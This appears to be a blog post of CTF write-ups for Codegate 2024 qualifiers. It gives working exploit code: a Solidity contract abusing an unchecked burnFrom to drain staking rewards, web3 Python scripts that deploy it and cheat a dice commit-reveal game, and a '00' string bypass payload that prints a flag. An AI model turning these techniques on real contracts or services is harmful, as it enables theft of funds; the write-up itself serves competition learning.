<-->

 

I played codegate 2024 quals with thehackerscrew. 

 

Staker

 

the root cause is burnfrom.

contract Solve {
    Setup public setup;
    StakingManager public stakingManager;
    Token public token;
    LpToken public lpToken;
    constructor(address _setup) {
        setup = Setup(_setup);
        setup.withdraw();
        stakingManager = StakingManager(setup.stakingManager());
        token = Token(setup.token());
        token.approve(address(stakingManager), 1e18);
        lpToken = LpToken(stakingManager.LPTOKEN());
        uint rewardPerToken = uint(1e18) / uint(186400);
        uint amount = 1e18 / rewardPerToken;
        
        stakingManager.stake(1e18);
    }

    function solve() public {
        lpToken.burnFrom(address(setup), 100000e18);
        stakingManager.unstakeAll();
        token.transfer(address(setup), 10e18);
    }
}

 

from web3 import Web3
import json
import time
w3 = Web3(Web3.HTTPProvider("http://43.201.150.10:8888/7056dc15-ef8b-4d97-b12b-f9b527458d60"))
#Check Connection
t=w3.is_connected()
print(t)

# Get private key 
prikey = '0xc2f5d87f9eec45cdd55b4ab902d0364452545437321a21f2519484eeffdbad72'
challenge_addr = "0xD9456D27A0A7c8153126Da47d6077be1ea461DA9"

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address

f = open("solve.abi", "r"); contract_abi= f.read(); f.close()
f = open("solve.bin", "r"); contract_bytecode= f.read(); f.close()

contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
transaction = contract.constructor(challenge_addr).build_transaction(
    {
        "chainId": w3.eth.chain_id,
        "gasPrice": w3.eth.gas_price,
        "from": Public_Address,
        "nonce": w3.eth.get_transaction_count(Public_Address),
        "value": 0
        # "value": 0 
    }
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
print("Deploying Contract!")
# Send the transaction
transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
# Wait for the transaction to be mined, and get the transaction receipt
print("Waiting for transaction to finish...")
transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
print(transaction_receipt)
print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")

cont_addr = transaction_receipt.contractAddress
contract = w3.eth.contract(address=cont_addr, abi=contract_abi, bytecode=contract_bytecode)

time.sleep(10)

while True:
    try:
        func_call = contract.functions["solve"]().build_transaction({
            "from": myAddr,
            "nonce": w3.eth.get_transaction_count(myAddr),
            "gasPrice": w3.eth.gas_price,
            "chainId": w3.eth.chain_id,
        })
        signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
        result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
        transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
        print(transaction_receipt)
        break
    except:
        time.sleep(1)
        continue

 

 

 

dice or die

 

we can extract the commitment by looking at the data in the Metamask transaction approval window

from web3 import Web3
import json
import time
w3 = Web3(Web3.HTTPProvider("https://public-en-baobab.klaytn.net"))
#Check Connection
t=w3.is_connected()
print(t)

# Get private key 
prikey = ''
challenge_addr = "0x0A3E3E87C2B51469E56404459078e043B12e6cD6"

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address

f = open("cont.abi", "r"); contract_abi= f.read(); f.close()

contract = w3.eth.contract(address=challenge_addr, abi=contract_abi)


print(w3.eth.get_balance(myAddr))
print(w3.eth.chain_id)
print(myAddr)


func_call = contract.functions["buyFlag"](bytes.fromhex("c82b22c857d0d1aa9165ee05d162123e8882eca527969004fd717cc0fcbdcef0")).build_transaction({
    "from": myAddr,
    "nonce": w3.eth.get_transaction_count(myAddr),
    "gasPrice": w3.eth.gas_price,
    "chainId": w3.eth.chain_id,
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)


fund = 99


while True:
    print(f"current: {fund}")
    data = input("data: ")
    # data = "0x4082de6700000000000000000000000000000000000001fe032125bb753ea778a4db798a00000000000000000000000000000000000001a37c14be67ebb5f8db428136e7"
    data = data[10:]
    index = int("0x" + data[:64], 16)
    commitment = int("0x" + data[64:], 16)


    func_call = contract.functions["bet"](index, commitment % 6, fund).build_transaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

    func_call = contract.functions["open"](index, commitment).build_transaction({
        "from": myAddr,
        "nonce": w3.eth.get_transaction_count(myAddr),
        "gasPrice": w3.eth.gas_price,
        "chainId": w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

    fund = (fund - 1) * 3

 

 

game$ay

 

the idea is 00 != 0.

            elif node.name.value == "pwrite":
                n = args[0].value
                if n < 0 or n >= self.machine_count:
                    return WValue('bool', False)
                
                if node.arguments[0].value == str(0) and machine_id != 0: # bypass using str(00) 
                    return WValue('bool', False)

                self.wP(n, args[1].value)

                return WValue('bool', True)

 

import base64

print(base64.b64encode(b"func solve() void {print(flag());}pwrite(00, [solve, solve, solve]);"))

# 1. add new code
# 2. run 1
# 2. run 0

 

 

 

trends_notification

 

 

 

thank you, H҈-̸m҈m̷e̵r̴ —  and gpt.

def hex_to_bytes(hex_string):
    return bytes.fromhex(hex_string)

def bytes_to_string(byte_array):
    return byte_array.decode('utf-8')

def reverse_custom_operation(encrypted_str):
    arrayList = []
    i6 = 0
    c3 = 0
    while i6 < len(encrypted_str):
        char_at = encrypted_str[i6]
        i6 += 1
        # Subtract the incremental value and ensure it wraps correctly with % 256
        arrayList.append(chr((ord(char_at) - c3 + 256) % 256))
        c3 += 1
    return ''.join(arrayList)

def xor_strings(s, key):
    return ''.join(chr(ord(c) ^ ord(k)) for c, k in zip(s, key * (len(s) // len(key) + 1)))

# Given data
key = "lollollollollollollollollollollollollollollollol"
encrypted_string = "0f010a0c0c121e1166656763236c68636c69676a6e6a20247524797679717675752b7b7b787b7b7c327d7fc288c2863e"

# Step 1: Convert hex string to bytes
byte_array = hex_to_bytes(encrypted_string)

# Step 2: Convert bytes to string
intermediate_string = bytes_to_string(byte_array)

# Step 3: Reverse the custom operation
reversed_custom_string = reverse_custom_operation(intermediate_string)

# Step 4: XOR with the key to retrieve the original string
original_string = xor_strings(reversed_custom_string, key)

print("Original String:", original_string)

'writeups' 카테고리의 다른 글

HITCON CTF 2024 Quals(Lustrous, No-Exit Room, Flag Reader)  (0) 2024.07.15
justctf2024 teaser  (0) 2024.06.17
Dreamhack Invitational Quals  (0) 2024.05.03
osu!gaming 2024 - blockchain  (0) 2024.03.04
GCC CTF 2024 - web3  (0) 2024.03.04

+ Recent posts